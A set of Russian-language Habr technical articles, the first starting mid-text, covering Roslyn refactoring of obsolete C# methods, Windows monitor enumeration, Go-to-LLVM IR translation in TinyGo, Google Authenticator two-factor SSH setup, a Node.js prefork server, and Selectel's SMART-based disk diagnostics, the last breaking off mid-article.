var methodDeclarations = targetInterfaceClass.DescendantNodes().OfType().ToList();
var obsoleteMethods = methodDeclarations
.Where(m => m.AttributeLists
.FirstOrDefault(a => a.Attributes
.FirstOrDefault(atr => (atr.Name as IdentifierNameSyntax).Identifier.Text == "Obsolete") != null) != null).ToList();
```
*2. Найди пару устаревший-новый метод*
```
List replacementMap = new List();
foreach (var method in obsoleteMethods)
{
// find new mthod for replace - explain in point 5
var methodName = GetMethodName(obsoleteMessagePattern, method);
if (methodDeclarations.FirstOrDefault(m => m.Identifier.Text == methodName) != null)
{
// find all reference of obsolete call - explain in point 6
var usingReferences = GetUsingReferences(model, method);
replacementMap.Add(new ObsoleteReplacement()
{
ObsoleteMethod = SyntaxFactory.IdentifierName(method.Identifier.Text),
ObsoleteReferences = usingReferences,
NewMethod = SyntaxFactory.IdentifierName(methodName)
});
}
}
```
*1. Замени устаревший метод на новый*
```
private void UpdateSolutionWithAction(List replacementMap, Action action)
{
var workspace = MSBuildWorkspace.Create();
foreach (var item in replacementMap)
{
var solution = workspace.OpenSolutionAsync(Solution.FilePath).Result;
var project = solution.Projects.FirstOrDefault(p => p.Name == Project.Name);
foreach (var reference in item.ObsoleteReferences)
{
var docs = reference.Locations.Select(l => l.Document);
foreach (var doc in docs)
{
var document = project.Documents.FirstOrDefault(d => d.Name == doc.Name);
var documentEditor = DocumentEditor.CreateAsync(document).Result;
action(documentEditor, item, document.GetSyntaxRootAsync().Result);
document = documentEditor.GetChangedDocument();
solution = solution.WithDocumentSyntaxRoot(document.Id, document.GetSyntaxRootAsync().Result.NormalizeWhitespace());
}
}
var result = workspace.TryApplyChanges(solution);
workspace.CloseSolution();
}
UpdateRefactorerEnv();
}
private void ReplaceMethod(DocumentEditor documentEditor, ObsoleteReplacement item, SyntaxNode root)
{
var identifiers = root.DescendantNodes().OfType();
var usingTokens = identifiers.Where(i => i.Identifier.Text == item.ObsoleteMethod.Identifier.Text);
foreach (var oldMethod in usingTokens)
{
// The Most Impotant Moment Of Point 1
documentEditor.ReplaceNode(oldMethod, item.NewMethod);
}
}
```
Отвечаем на вспомогательные вопросы.
*5. В сообщении атрибута `[Obsolete]` найдешь имя нового метода*
```
private string GetMethodName(string obsoleteMessagePattern, MethodDeclarationSyntax method)
{
var message = GetAttributeMessage(method);
int index = message.LastIndexOf(obsoleteMessagePattern) + obsoleteMessagePattern.Length;
return message.Substring(index);
}
private static string GetAttributeMessage(MethodDeclarationSyntax method)
{
var obsoleteAttribute = method.AttributeLists.FirstOrDefault().Attributes.FirstOrDefault(atr => (atr.Name as IdentifierNameSyntax).Identifier.Text == "Obsolete");
var messageArgument = obsoleteAttribute.ArgumentList.DescendantNodes().OfType()
.FirstOrDefault(arg => arg.ChildNodes().OfType().Count() != 0);
var message = messageArgument.ChildNodes().FirstOrDefault().GetText();
return message.ToString().Trim('\"');
}
```
*6. По всем ссылкам на устаревший метод (хотя можешь сделать исключения для некоторых проектов и классов)*
```
private IEnumerable GetUsingReferences(SemanticModel model, MethodDeclarationSyntax method)
{
var methodSymbol = model.GetDeclaredSymbol(method);
var usingReferences = SymbolFinder.FindReferencesAsync(methodSymbol, Solution).Result.Where(r => r.Locations.Count() > 0);
return usingReferences;
}
```
Уточнение об исключениях можно представить следующими фильтрами.
```
/// Exclude method declarations that using in excluded classes in current Solution
private bool ContainInClasses(IEnumerable usingReferences, List excludedClasses)
{
if (excludedClasses.Count <= 0)
{
return false;
}
foreach (var reference in usingReferences)
{
foreach (var location in reference.Locations)
{
var node = location.Location.SourceTree.GetRoot().FindNode(location.Location.SourceSpan);
ClassDeclarationSyntax classDeclaration = null;
if (SyntaxNodeHelper.TryGetParentSyntax(node, out classDeclaration))
{
if (excludedClasses.Contains(classDeclaration.Identifier.Text))
{
return true;
}
}
}
}
return false;
}
```
```
/// Exclude method declarations that using in excluded projects in current Solution
private bool ContainInProjects(IEnumerable usingReferences, List excludedProjects)
{
if (excludedProjects.Count <= 0)
{
return false;
}
foreach (var reference in usingReferences)
{
if (excludedProjects.FirstOrDefault(p => reference.Locations.FirstOrDefault(l => l.Document.Project.Id == p.Id) != null) != null)
{
return true;
}
}
return false;
}
```
Запускаем и получаем вот такую красоту.
Заключение
----------
Проект можно оформить как расширение студии vsix или, например, положить на сервер контроля версий и использовать как анализатор. А можно запускать при необходимости как тулу.
Весь проект [опубликован на гитхабе](https://github.com/cyberkiso/QuasiRefactoring). | https://habr.com/ru/post/343244/ | null | ru | null |
# Как определить все мониторы и их разрешения
Недавно возился с нормальной инициализацией окна, и стояла задача задетектить все мониторы и их разрешения. Оставлю тут решение для потомков.
```
appRet aApplication::ObtainMonitors()
{
DWORD i = 0;
DWORD j;
DISPLAY_DEVICE dc;
dc.cb = sizeof(dc);
while(EnumDisplayDevices(NULL, i, &dc, EDD_GET_DEVICE_INTERFACE_NAME) != 0)
{
if ((dc.StateFlags & DISPLAY_DEVICE_ACTIVE) && !(dc.StateFlags & DISPLAY_DEVICE_MIRRORING_DRIVER))
{
DEVMODE dm;
j = 0;
while(EnumDisplaySettings(dc.DeviceName, j, &dm) != 0)
{
//Запоминаем DEVMODE dm, чтобы потом мы могли его найти и использовать
//в ChangeDisplaySettings, когда будем инициализировать окно
++j;
}
}
++i;
}
if (i == 0)
return APP_NOMON;
return APP_DONE;
}
```
Т.к. мы заранее не знаем какие могут быть девайсы в системе, то нам придётся бегать циклами. Сначала через второй параметр функции **EnumDisplayDevices** мы перебираем все мониторы в текущей сессии пользователя. Потом через **if (dc.StateFlags & DISPLAY\_DEVICE\_ACTIVE)** убеждаемся что «монитор» на связи и не спит. Ну и после мы узнаём его имя в **dc.DeviceName** и может через **EnumDisplaySettings** бежать по всем доступны разрешениям этого «монитора».
Тестировал подключив к ноуту телек LG: канает, детектит и даже юзает.
**UPD**: Добавил в условие проверку на параметр **DISPLAY\_DEVICE\_MIRRORING\_DRIVER**, чтобы отбросить вирт. устройства. Спасибо, [shrikus](http://habrahabr.ru/users/shrikus/) | https://habr.com/ru/post/151273/ | null | ru | null |
# LLVM с точки зрения Go
Разработка компилятора — очень тяжёлая задача. Но, к счастью, с развитием проектов наподобие LLVM решение этой задачи значительно упрощается, что позволяет даже программисту-одиночке создать новый язык, близкий по производительности к C. Работа с LLVM осложняется тем, что эта система представлена огромным объёмом кода, снабжённого небольшой документацией. Для того чтобы попытаться этот недостаток исправить, автор материала, перевод которого мы сегодня публикуем, собирается продемонстрировать примеры кода, написанного на Go, и показать, как они транслируются сначала в [Go SSA](https://godoc.org/golang.org/x/tools/go/ssa), а потом — в LLVM IR с использованием компилятора [TinyGO](https://tinygo.org/). Код Go SSA и LLVM IR был немного отредактирован, из него было удалено то, что не относится к приводимым тут пояснениям, ради того, чтобы эти пояснения оказались бы более понятными.
[](https://habr.com/ru/company/ruvds/blog/451476/)
Первый пример
-------------
Первая функция, которую я собираюсь тут разобрать, представляет собой простой механизм для сложения чисел:
```
func myAdd(a, b int) int{
return a + b
}
```
Эта функция очень проста, и, пожалуй, ничего проще уже и не придумать. Она транслируется в следующий код Go SSA:
```
func myAdd(a int, b int) int:
entry:
t0 = a + b int
return t0
```
При таком представлении функции подсказки о типах данных размещаются справа, в большинстве случаев на них можно не обращать внимания.
Этот маленький пример уже позволяет увидеть суть одного из аспектов SSA. А именно, при преобразовании кода в форму SSA каждое выражение разбивается на самые элементарные части, из которых оно состоит. В нашем случае команда `return a + b`, на самом деле, представляет собой две операции: сложение двух чисел и возврат результата.
Кроме того, тут можно видеть и базовые блоки программы, в данном коде имеется всего один блок — входной (entry block). Подробнее о блоках мы поговорим ниже.
Код Go SSA легко преобразуется в LLVM IR:
```
define i64 @myAdd(i64 %a, i64 %b) {
entry:
%0 = add i64 %a, %b
ret i64 %0
}
```
Можно заметить то, что хотя тут и используются другие синтаксические конструкции, структура функции, в основном, не изменилась. Код LLVM IR немного сильнее, чем код Go SSA, похож на C. Здесь, в объявлении функции, сначала идёт описание возвращаемого ей типа данных, тип аргумента указывается перед именем аргумента. Кроме того, для упрощения IR-парсинга, перед именами глобальных сущностей стоит символ `@`, а перед именами локальных — символ `%` (функция тоже считается глобальной сущностью).
Одна из особенностей этого кода, на которую нужно обратить внимание, заключается в том, что решение о представлении типа Go `int`, который может быть представлен 32-битным или 64-битным значением, в зависимости от компилятора и от цели компиляции, принимается при создании LLVM IR-кода. Это — одна из многих причин того, что LLVM IR-код не является, как многие думают, платформенно-независимым. Такой код, созданный для одной платформы, нельзя просто взять и скомпилировать для другой платформы (если только не подойти к решению этой задачи [с особой осторожностью](https://llvm.org/devmtg/2019-04/talks.html#Talk_21)).
Ещё один интересный момент, который стоит отметить, заключается в том, что тип `i64` — это не целое число со знаком: он нейтрален в плане представления знака числа. В зависимости от инструкции он может представлять как числа со знаком, так и числа без знака. В случае с представлением операции сложения это роли не играет, поэтому здесь нет разницы в работе с числами со знаком или без знака. Тут хотелось бы отметить, что в языке C переполнение целочисленной переменной со знаком приводит к неопределённому поведению, поэтому фронтенд Clang добавляет к операции флаг `nsw` (no signed wrap), что указывает LLVM на то, что он может исходить из предположения о том, что при сложении никогда не происходит переполнения.
Это может быть важным для некоторых оптимизаций. Например, сложение двух значений `i16` на 32-битной платформе (с 32-битными регистрами) нуждается, после выполнения сложения, в операции расширения знака, для того чтобы оставаться в диапазоне `i16`. Из-за этого часто более эффективным оказывается выполнение целочисленных операций с учётом машинных размеров регистра.
То, что происходит в дальнейшем с этим IR-кодом, сейчас нас не особенно интересует. Код оптимизируется (но в случае с таким простым примером, как наш, ничего уже не оптимизируется), а затем преобразуется в машинный код.
Второй пример
-------------
Следующий пример, который мы рассмотрим, будет немного сложнее. А именно, речь идёт о функции, которая суммирует слайс целых чисел:
```
func sum(numbers []int) int {
n := 0
for i := 0; i < len(numbers); i++ {
n += numbers[i]
}
return n
}
```
Этот код преобразуется в следующий Go SSA-код:
```
func sum(numbers []int) int:
entry:
jump for.loop
for.loop:
t0 = phi [entry: 0:int, for.body: t6] #n int
t1 = phi [entry: 0:int, for.body: t7] #i int
t2 = len(numbers) int
t3 = t1 < t2 bool
if t3 goto for.body else for.done
for.body:
t4 = &numbers[t1] *int
t5 = *t4 int
t6 = t0 + t5 int
t7 = t1 + 1:int int
jump for.loop
for.done:
return t0
```
Тут уже можно видеть больше конструкций, характерных для представления кода в форме SSA. Вероятно, наиболее очевидной особенностью этого кода является тот факт, что здесь нет структурированных команд управления потоком вычислений. Для управления потоком вычислений здесь имеются лишь условные и безусловные переходы, и, если считать эту команду командой для управления потоком, команда возврата.
На самом деле, тут можно обратить внимание на то, что программа не разделена на блоки с использованием фигурных скобок (как в языках семейства C). Она разделена метками, что напоминает ассемблерные языки, и представлена в виде базовых блоков. В SSA базовыми блоками называются непрерывные последовательности кода, начинающиеся с метки и заканчивающиеся инструкциями завершения базового блока, например — `return` и `jump`.
Ещё одна интересная деталь этого кода представлена инструкцией `phi`. Инструкция это довольно необычная, на то, чтобы с ней разобраться, может понадобиться некоторое время. Помните, что [SSA](https://ru.wikipedia.org/wiki/SSA) — это сокращение для Static Single Assignment. Это — промежуточное представление кода, используемого компиляторами, в котором каждой переменной значение присваивается лишь единожды. Это отлично подходит для выражения простых функций, наподобие нашей функции `myAdd`, показанной выше, но не подходит для более сложных функций — наподобие рассматриваемой в этом разделе функции `sum`. В частности, в ходе выполнения цикла меняются переменные `i` и `n`.
SSA обходит ограничение на однократное присваивание значений переменных с использованием так называемой инструкции `phi` (её название взято из греческого алфавита). Дело в том, что для того чтобы SSA-представление кода можно было бы сформировать для языков наподобие C, приходится прибегать к некоторым хитростям. Результатом вызова этой инструкции является текущее значение переменной (`i` или `n`), а в качестве её параметров используется список базовых блоков. Например, рассмотрим такую инструкцию:
```
t0 = phi [entry: 0:int, for.body: t6] #n
```
Её смысл заключается в следующем: если предыдущим базовым блоком был блок `entry` (входной), то `t0` — это константа `0`, а если предыдущим базовым блоком был `for.body`, то нужно взять значение `t6` из этого блока. Выглядеть всё это может довольно-таки таинственным, но благодаря этому механизму обеспечивается работа SSA. С человеческой точки зрения всё это усложняет понимание кода, но тот факт, что каждое значение назначается лишь один раз, значительно упрощает многие оптимизации.
Обратите внимание на то, что если вы пишете собственный компилятор, то вам обычно не приходится иметь дело с подобными вещами. Даже Clang не генерирует все эти инструкции `phi`, он использует механизм `alloca` (он напоминает работу с обычными локальными переменными). Затем, при выполнении прохода оптимизации LLVM, называемого [mem2reg](https://llvm.org/docs/Passes.html#mem2reg-promote-memory-to-register), инструкции `alloca` преобразуются в форму SSA. TinyGo, однако, получает входные данные от Go SSA, которые, что удобно, уже преобразованы в форму SSA.
Ещё одно новшество рассматриваемого фрагмента промежуточного кода заключается в том, что доступ к элементам слайса по индексу представлен в виде операции вычисления адреса и операции разыменования полученного указателя. Тут можно видеть и непосредственное добавление констант в IR-код (например — `1:int`). В примере с функцией `myAdd` подобное не использовалось. Теперь, разобравшись с этими особенностями, взглянем на то, во что превратится этот код при преобразовании его в форму LLVM IR:
```
define i64 @sum(i64* %ptr, i64 %len, i64 %cap) {
entry:
br label %for.loop
for.loop: ; preds = %for.body, %entry
%0 = phi i64 [ 0, %entry ], [ %5, %deref.next ]
%1 = phi i64 [ 0, %entry ], [ %6, %deref.next ]
%2 = icmp slt i64 %1, %len
br i1 %2, label %for.body, label %for.done
for.body: ; preds = %for.loop
%3 = getelementptr i64, i64* %ptr, i64 %1
%4 = load i64, i64* %3
%5 = add i64 %0, %4
%6 = add i64 %1, 1
br label %for.loop
for.done: ; preds = %for.loop
ret i64 %0
}
```
Тут, как и прежде, мы можем видеть такую же структуру, включающую в себя другие синтаксические конструкции. Например, в вызовах `phi` поменялись местами значения и метки. Однако тут есть и кое-что такое, на что стоит обратить особое внимание.
Для начала, тут можно видеть совершенно другую сигнатуру функции. LLVM не поддерживает слайсы, в результате, в виде оптимизации, компилятор TinyGo, который сформировал этот промежуточный код, разделил описание этой структуры данных на части. Он мог бы представить три элемента слайса (`ptr`, `len` и `cap`) в виде структуры (struct), но представление их в виде трёх отдельных сущностей позволяет выполнять некоторые оптимизации. Другие компиляторы могут представить слайс ещё как-нибудь, это зависит от соглашений о вызове функций целевой платформы.
Ещё одной интересной особенностью этого кода является использование инструкции `getelementptr` (часто её сокращённо называют GEP).
Эта инструкция работает с указателями и используется для получения указателя на элемент слайса. Например, давайте сопоставим её со следующим кодом, написанным на C:
```
int* sliceptr(int *ptr, int index) {
return &ptr[index];
}
```
Или со следующим, эквивалентным этому:
```
int* sliceptr(int *ptr, int index) {
return ptr + index;
}
```
Самое главное тут то, что инструкция `getelementptr` не выполняет операции разыменования. Она лишь вычисляет новый указатель, основываясь на существующем. Её можно воспринимать как инструкции `mul` и `add` на аппаратном уровне. Подробности об инструкции GEP можно почитать [здесь](https://llvm.org/docs/GetElementPtr.html).
Ещё одна интересная особенность этого промежуточного кода заключается в использовании инструкции `icmp`. Это — инструкция общего назначения, используемая для реализации сравнения целых чисел. Результатом выполнения этой инструкции всегда является значение типа `i1` — логическое значение. В данном случае производится сравнение с использованием ключевого слова `slt` (signed less than), так как сравниваем мы два числа, ранее представленных типом `int`. Если бы мы сравнивали два целых числа без знака, тогда в качестве инструкции мы воспользовались бы `icmp`, а ключевым словом, используемым при сравнении, было бы `ult`. Для сравнения чисел с плавающей точкой используется другая инструкция, `fcmp`, работающая похожим образом.
Итоги
-----
Полагаю, что в этом материале я рассмотрел самые важные особенности LLVM IR. Конечно, тут есть ещё очень много всего. В частности, в промежуточном представлении кода может присутствовать множество аннотаций, позволяющих учитывать при проходах оптимизации определённые особенности кода, известные компилятору, которые нельзя другим способом выразить в IR. Например, это флаг `inbounds` инструкции GEP, или флаги `nsw` и `nuw`, которые могут быть добавлены к инструкции `add`. То же самое касается и ключевого слова `private`, указывающего оптимизатору на то, что на отмеченную им функцию не будут ссылаться извне текущей единицы компиляции. Это позволяет выполнять множество интересных межпроцедурных оптимизаций наподобие устранения неиспользуемых аргументов.
Подробности о LLVM можно почитать в [документации](https://llvm.org/docs/LangRef.html), к которой вы будете часто обращаться, разрабатывая собственный компилятор, основанный на LLVM. Вот [руководство](https://llvm.org/docs/tutorial/), в котором рассматривается разработка компилятора для очень простого языка. Оба этих источника информации пригодятся вам при создании собственного компилятора.
**Уважаемые читатели!** Пользуетесь ли вы LLVM?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/451476/ | null | ru | null |
# Двухфакторная Авторизация на Linux сервере
В статье описана установка под Ubuntu. Используется приложение от Google.
#### Установка зависимостей
Ставить google-authenticator надо из исходников, мы же не доверяем левым PPA? Для этого потребуется git, build-essential, libpam0g-dev, checkinstall.
```
git clone https://code.google.com/p/google-authenticator/
cd libpam/
make
sudo checkinstall -D
sudo dpkg -i libpam_20120827-1_i386.deb
```
Все, все подготовлено для настройки.
#### Настройка
```
# Требовать One Time Password ля любого рода авторизации
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/common-auth
# Требовать только для входа по SSH. Внимание, авторизация по public key идет в обход PAM, а значит OTP не будет спрошен.
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd
# Такая установка требует, чтобы пользователь был предварительно сконфигурирован. Если написать
auth required pam_google_authenticator.so nullok
# то OTP не будет спрошен у не подготовленных пользователей
```
Надо сконфигурировать sshd (/etc/ssh/sshd\_config)
```
ChallengeResponseAuthentication yes
```
Перезапустить sshd (текущая сессия не будет разорвана):
```
/etc/init.d/ssh restart
```
Для настройки пользователя надо запустить **google-authenticator** от каждого пользователя. Там будет выведен секретный ключ для [приложения](http://support.google.com/accounts/bin/answer.py?hl=en&answer=1066447), а так же ссылка на QR код который можно просканировать приложением. Приложение спросит email — это никак не влияет на OTP, это исключительно для вашего удобства, можно ввести user@host. | https://habr.com/ru/post/150271/ | null | ru | null |
# Node.JS: Пример HTTP-сервера в режиме prefork с использованием Web Workers
Как обещал ранее, я публикую исходный код, демонстрирующий, как построить HTTP-сервер в режиме prefork, используя [Web Workers](http://webo.in/articles/all/2009/25-computing-with-web-workers/) и новый API `net.Server.listenFD()`. Я надеюсь, что этот код будет хорошим примером того, как легко нагрузить несколько ядер сервера, комбинируя пересылку файловых дескрипторов и Web Workers.
В master.js мы создаём сокет, прикрепленный к порту 8080, и порождаем 4 рабочих процесса для обработки запросов. Мы отправляем сообщение каждому обработчику со текстом, которую нужно будет использовать для всех ответов на запросы, а также файловый дескриптор нашего сокета.
> `1. **var** path = require('path');
> 2. **var** netBindings = process.binding('net');
> 3. **var** Worker = require('webworker').Worker;
> 4.
> 5. **var** fd = netBindings.socket('tcp4');
> 6. netBindings.bind(fd, 8080);
> 7. netBindings.listen(fd, 128);
> 8.
> 9. **for** (**var** i = 0; i < 3; i++) {
> 10. **var** w = **new** Worker(path.join(\_\_dirname, 'worker.js'));
> 11. w.postMessage({ 'banner' : 'Hello, world!' }, fd);
> 12. }`
В worker.js мы создаём экземпляр HTTP-сервера, но не вызываем `listen()`. Вместо этого мы ожидаем принятия сообщений от родительского процесса. При получении события иы забираем файловый дескриптор из сообщения и используем его для привязки нашего экземпляра http.Server к сокету. Как только будет вызван `http.Server.listenFD()`, этот процесс начнёт обрабатывать запросы.
> `1. **var** assert = require('assert');
> 2. **var** http = require('http');
> 3.
> 4. **var** banner = undefined;
> 5.
> 6. **var** srv = http.createServer(**function**(req, resp) {
> 7. resp.writeHead(200, {'Content-Type' : 'text/plain'});
> 8. resp.**write**(banner + ' (pid ' + process.pid + ')\n');
> 9. resp.end();
> 10. });
> 11.
> 12. onmessage = **function**(msg) {
> 13. assert.ok(msg.fd && msg.fd > 0);
> 14.
> 15. banner = msg.data.banner;
> 16.
> 17. srv.listenFD(msg.fd);
> 18. };`
Когда мы запускаем master.js, мы можем использовать curl для проверки, что запросы были обработаны разными процессами.
> `1. % curl 'http://localhost:8080'
> 2. Hello, world! (pid 27727)
> 3. % curl 'http://localhost:8080'
> 4. Hello, world! (pid 27728)
> 5. % curl 'http://localhost:8080'
> 6. Hello, world! (pid 27729)
> 7. % curl 'http://localhost:8080'
> 8. Hello, world! (pid 27727)`
Очень просто. | https://habr.com/ru/post/95972/ | null | ru | null |
# Диагностика и замена дисков в дата-центре: бот для SMART-теста, «черный ящик» для утилизации и лайфхаки
Привет, Хабр! Меня зовут Данил, я системный инженер, работаю с серверами и клиентским оборудованием в дата-центре Selectel в Дубровке (Ленобласть). Бывают ситуации, когда диски в серверах работают некорректно. В таком случае нужно быстро определить причину, понять, на чьей она стороне, и исправить проблему.
Под катом расскажу, с какими дисками и как мы работаем в Selectel, а также поделюсь советами, как ускорить решение проблем с накопителем.
> **Небольшой дисклеймер.** В тексте мы говорим о работе с дисками в [выделенных серверах Selectel](https://selectel.ru/services/dedicated/?utm_source=habr.com&utm_medium=referral&utm_campaign=dedicated_article_diagnostics_271022_content) — всех, кроме линейки Chipcore.
Какие диски мы используем в Selectel и их особенности работы в дата-центре
--------------------------------------------------------------------------
Для начала я коротко расскажу о том, какие виды дисков мы используем в выделенных серверах.
**HDD SATA** (жесткий диск) — запоминающее устройство, работающее на принципе магнитной записи. Самый распространенный вид носителя и дешевый относительно стоимости за 1 ГБ. Существенно проигрывает по скорости записи и чтения данных твердотельным накопителям. Используется интерфейс SATA.
Когда-то в Selectel были доступны HDD-диски с интерфейсом SAS, но сейчас их уже не заказать. Но у нас еще остались клиенты, которые используют такие диски, и мы продолжаем обслуживать серверы с ними.
**HDD SAS** — жесткие диски с интерфейсом подключения SAS. Как и в случае NVMe U.2, такие диски подключаются в специальный корпус с поддержкой SAS. SAS-интерфейс обратно совместим с SATA, что дает подключать в такой корпус SATA-диски.
**SSD SATA** — твердотельный накопитель, в котором нет движущихся частей. В основном использует флеш-память. Имеют гораздо большую скорость производимых операций, но в то же время меньшую износоустойчивость, чем HDD.
**SSD NVMe PCIe** подключаются напрямую в матплату через интерфейс PCI Express x4. Из-за этого таких дисков можно подключить меньше, чем тех же NVMe U.2. Также для данных дисков нет возможности подключения к RAID-контроллеру.
**SSD NVMe U.2** — твердотельный накопитель форм-фактора 2.5” с разъемом для подключения U.2. На вид данный диск очень похож на обычный SSD SATA, но имеет другой порт подключения, не совместимый с SATA. При этом SATA-диск можно подключить к разъему U.2. Обладает гораздо большей скоростью записи/чтения по сравнению с SSD SATA.
Преимущества SSD NVMe U.2 перед NVMe PCIe в том, что есть возможность выполнения горячей замены и подключение большого количества дисков, не занимая при этом слоты PCIe на материнской плате. Также такие диски можно подключить к RAID-контроллеру. Если вы хотите добавить SSD NVMe U.2 к в уже имеющийся сервер произвольной конфигурации, необходимо уточнить, если ли в наличии корпус с разъемами U.2 и поддерживает ли материнская плата подключение данных накопителей.
[](https://selectel.ru/services/dedicated/?utm_source=habr.com&utm_medium=referral&utm_campaign=dedicated_article_diagnostics_271022_banner)
Дисковые корзины
----------------
Накопители HDD SATA, SSD SATA и SSD NVMe U.2 подключаются к серверам через дисковые корзины.
**Дисковая корзина** — это модуль, который используется для подключения определенного количества дисков к серверу. Корзины позволяют легко выполнить подключение или отключение диска в работающем сервере без отключения, вскрытия корпуса и снятия из стойки. То есть выполнить «горячую» замену без даунтайма.
*Корзина для диска, форм-фактор 3.5”.*
Каждый производитель корпусов использует свои корзины, которые не совместимы с корпусами конкурентов.
*Переходник для диска 2.5”.*
*HDD-диск, прикрученный к корзине.*
*SSD-диск, прикрученный к корзине.*
Другая ситуация с SSD NVMe PCIe. Этот диск подключается напрямую в матплату, поэтому его без отключения сервера, снятия из стойки и вскрытия корпуса не заменить. К слову, эти диски используются довольно редко, и экстренно менять их на практике мне не доводилось. Единственный раз был связан с плановым апгрейдом сервера клиента и согласованным даунтаймом.
Проблемы в работе диска. Что делать?
------------------------------------
При обнаружении проблем с накопителем стоит выполнить первичную диагностику и сообщить результаты в тикет-систему. В случае выявления аппаратной неисправности инженеры дата-центра подготовят накопитель и согласуют этапы проведения замены.
Первичную диагностику можно выполнить средствами ОС или через Rescue.
Rescue — образ LiveCD, основанный на Arch Linux c набором утилит для диагностики, который загружается в оперативную память. Более подробно о Rescue можно прочитать по [ссылке](https://kb.selectel.ru/docs/servers-and-infrastructure/dedicated/troubleshooting/boot-to-recovery/#rescue).
Если накопитель не инициализируется в ОС, то по обратной связи инженер дата-центра выполняет переподключение диска. Далее принимается решение о неисправности накопителя.
Существует несколько способов выявить неисправность накопителя:
* проверить SMART показатели,
* оценить заявленную производительность модели накопителя с текущей,
* проанализировать ошибки в журналах событий.
С первыми двумя пунктами ознакомимся более подробно.
### Проверка диска SMART
Основным методом оценки неисправности диска является значения атрибутов SMART — технологии оценки состояния жесткого диска встроенной аппаратурой самодиагностики. Более подробно с атрибутами можно ознакомиться по [ссылке](https://slc.tl/il3Kh).
Для просмотра показателей SMART конкретного накопителя потребуется пакет smartmontools. Для ОС Windows его можно найти по [ссылке](https://www.smartmontools.org/wiki/Download#InstalltheWindowspackage).
Рассмотрим, как вывести информацию о диске на практике.
Для вывода модели с серийным номером и списка атрибутов достаточно ввести следующую команду:
```
smartctl -iA /dev/sdX, где X — идентификатор накопителя
```
**Пример вывода команды**
```
=== START OF INFORMATION SECTION ===
Model Family:
Device Model:
Serial Number:
LU WWN Device Id: 5 0014ee 058ae9c5c
Firmware Version: 01.01S02
User Capacity: 500 107 862 016 bytes [500 GB]
Sector Size: 512 bytes logical/physical
Rotation Rate: 7200 rpm
Device is: In smartctl database 7.3/5254
ATA Version is: ATA8-ACS (minor revision not indicated)
SATA Version is: SATA 3.0, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Fri Sep 23 11:49:58 2022 RTZ
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
=== START OF READ SMART DATA SECTION ===
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE\_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN\_FAILED RAW\_VALUE
1 Raw\_Read\_Error\_Rate 0x002f 200 200 051 Pre-fail Always - 3
3 Spin\_Up\_Time 0x0027 141 140 021 Pre-fail Always - 3950
4 Start\_Stop\_Count 0x0032 100 100 000 Old\_age Always - 24
5 Reallocated\_Sector\_Ct 0x0033 200 200 140 Pre-fail Always - 0
7 Seek\_Error\_Rate 0x002e 200 200 000 Old\_age Always - 0
9 Power\_On\_Hours 0x0032 065 065 000 Old\_age Always - 26190
10 Spin\_Retry\_Count 0x0032 100 253 000 Old\_age Always - 0
11 Calibration\_Retry\_Count 0x0032 100 253 000 Old\_age Always - 0
12 Power\_Cycle\_Count 0x0032 100 100 000 Old\_age Always - 22
192 Power-Off\_Retract\_Count 0x0032 200 200 000 Old\_age Always - 20
193 Load\_Cycle\_Count 0x0032 200 200 000 Old\_age Always - 3
194 Temperature\_Celsius 0x0022 117 107 000 Old\_age Always - 26
196 Reallocated\_Event\_Count 0x0032 200 200 000 Old\_age Always - 0
197 Current\_Pending\_Sector 0x0032 200 200 000 Old\_age Always - 0
198 Offline\_Uncorrectable 0x0030 200 200 000 Old\_age Offline - 0
199 UDMA\_CRC\_Error\_Count 0x0032 200 200 000 Old\_age Always - 0
200 Multi\_Zone\_Error\_Rate 0x0008 200 200 000 Old\_age Offline - 0
```
При наличии RAID-контроллера команда может быть следующего вида:
```
smartctl -iA -d megaraid,2 /dev/sda
```
Подробнее в [manual smartctl](https://www.smartmontools.org/browser/trunk/smartmontools/smartctl.8.in).
Также с помощью данной утилиты можно выполнить тестирование или произвести полный вывод с журналом событий о ошибках. Например:
```
smartctl --test=long /dev/sda — команда запуска теста
smartctl -l selftest /dev/sda — команда вывода результатов теста
```
**Пример вывода команды**
=== START OF READ SMART DATA SECTION ===
SMART Self-test log structure revision number 1
Num Test\_Description Status Remaining LifeTime(hours) LBA\_of\_first\_error
# 1 Extended offline Completed without error 00% 26190
```
smartctl -x /dev/sda — полный вывод информации о диске
```
При принятии решения о замене мы ориентируемся на базовые атрибуты и атрибуты конкретной модели накопителя. Также необходимо отметить, что значения определяются по параметрам RAW\_VALUE или VALUE в зависимости от атрибута.
**Базовые атрибуты для HDD-дисков**
| **Атрибут** | **Описание** | **Условие для замены диска** |
| --- | --- | --- |
| 5 Reallocated\_Sector\_C | Количество переназначенных секторов | RAW\_VALUE отлично от 0 |
| 7 Seek Error Rate | Частота возникновения ошибок при позиционировании блока магнитных головок | VALUE менее 45 |
| 9 Power\_on\_hours | Наработка часов | RAW\_VALUE превышает 43 800\* |
| 10 Spin Retry Count | Количество повторов запуска шпинделя, если первая попытка оказалась неудачной | RAW\_VALUE более 10 |
| 197 Current\_Pending\_Sector | Количество секторов в очереди на переназначение | RAW\_VALUE отлично от 0 |
| 198 Offline\_Uncorrectable | Количество неисправимых секторов | RAW\_VALUE отлично от 0 |
\*при превышении этого значения диск не становится неисправным — цифра установлена Selectel. После 5 лет эксплуатации требуется замена диска согласно внутренним регламентам.
При росте значений параметров 199 UltraDMA CRC Error Count и 200 Multi\_Zone\_Error\_Rate проявляются проблемы на уровне интерфейса. В данном случае проверяем корректность подключения дисков SATA.
**Базовые атрибуты для SSD-дисков**
| **Атрибут** | **Описание** | **Условие для замены диска** |
| --- | --- | --- |
| 184 End-to-End Error Detection Count | Количество ошибок чтения из флэш-памяти | RAW\_VALUE более 9 |
| 231 Life Left (SSDs) or Temperature | Остаток жизненного цикла | VALUE менее 11 |
| 232 Available Reserved Space | Количество оставшихся резервных служебных блоков | VALUE менее 11 |
| 233 Media Wearout Indicator | Остаток жизненного цикла у дисков Intel | VALUE менее 11 |
Также существуют атрибуты модели, которые можно узнать на официальном сайте конкретного производителя.
### Проверка скорости чтения
Еще один немаловажный параметр — это скорость работы диска.
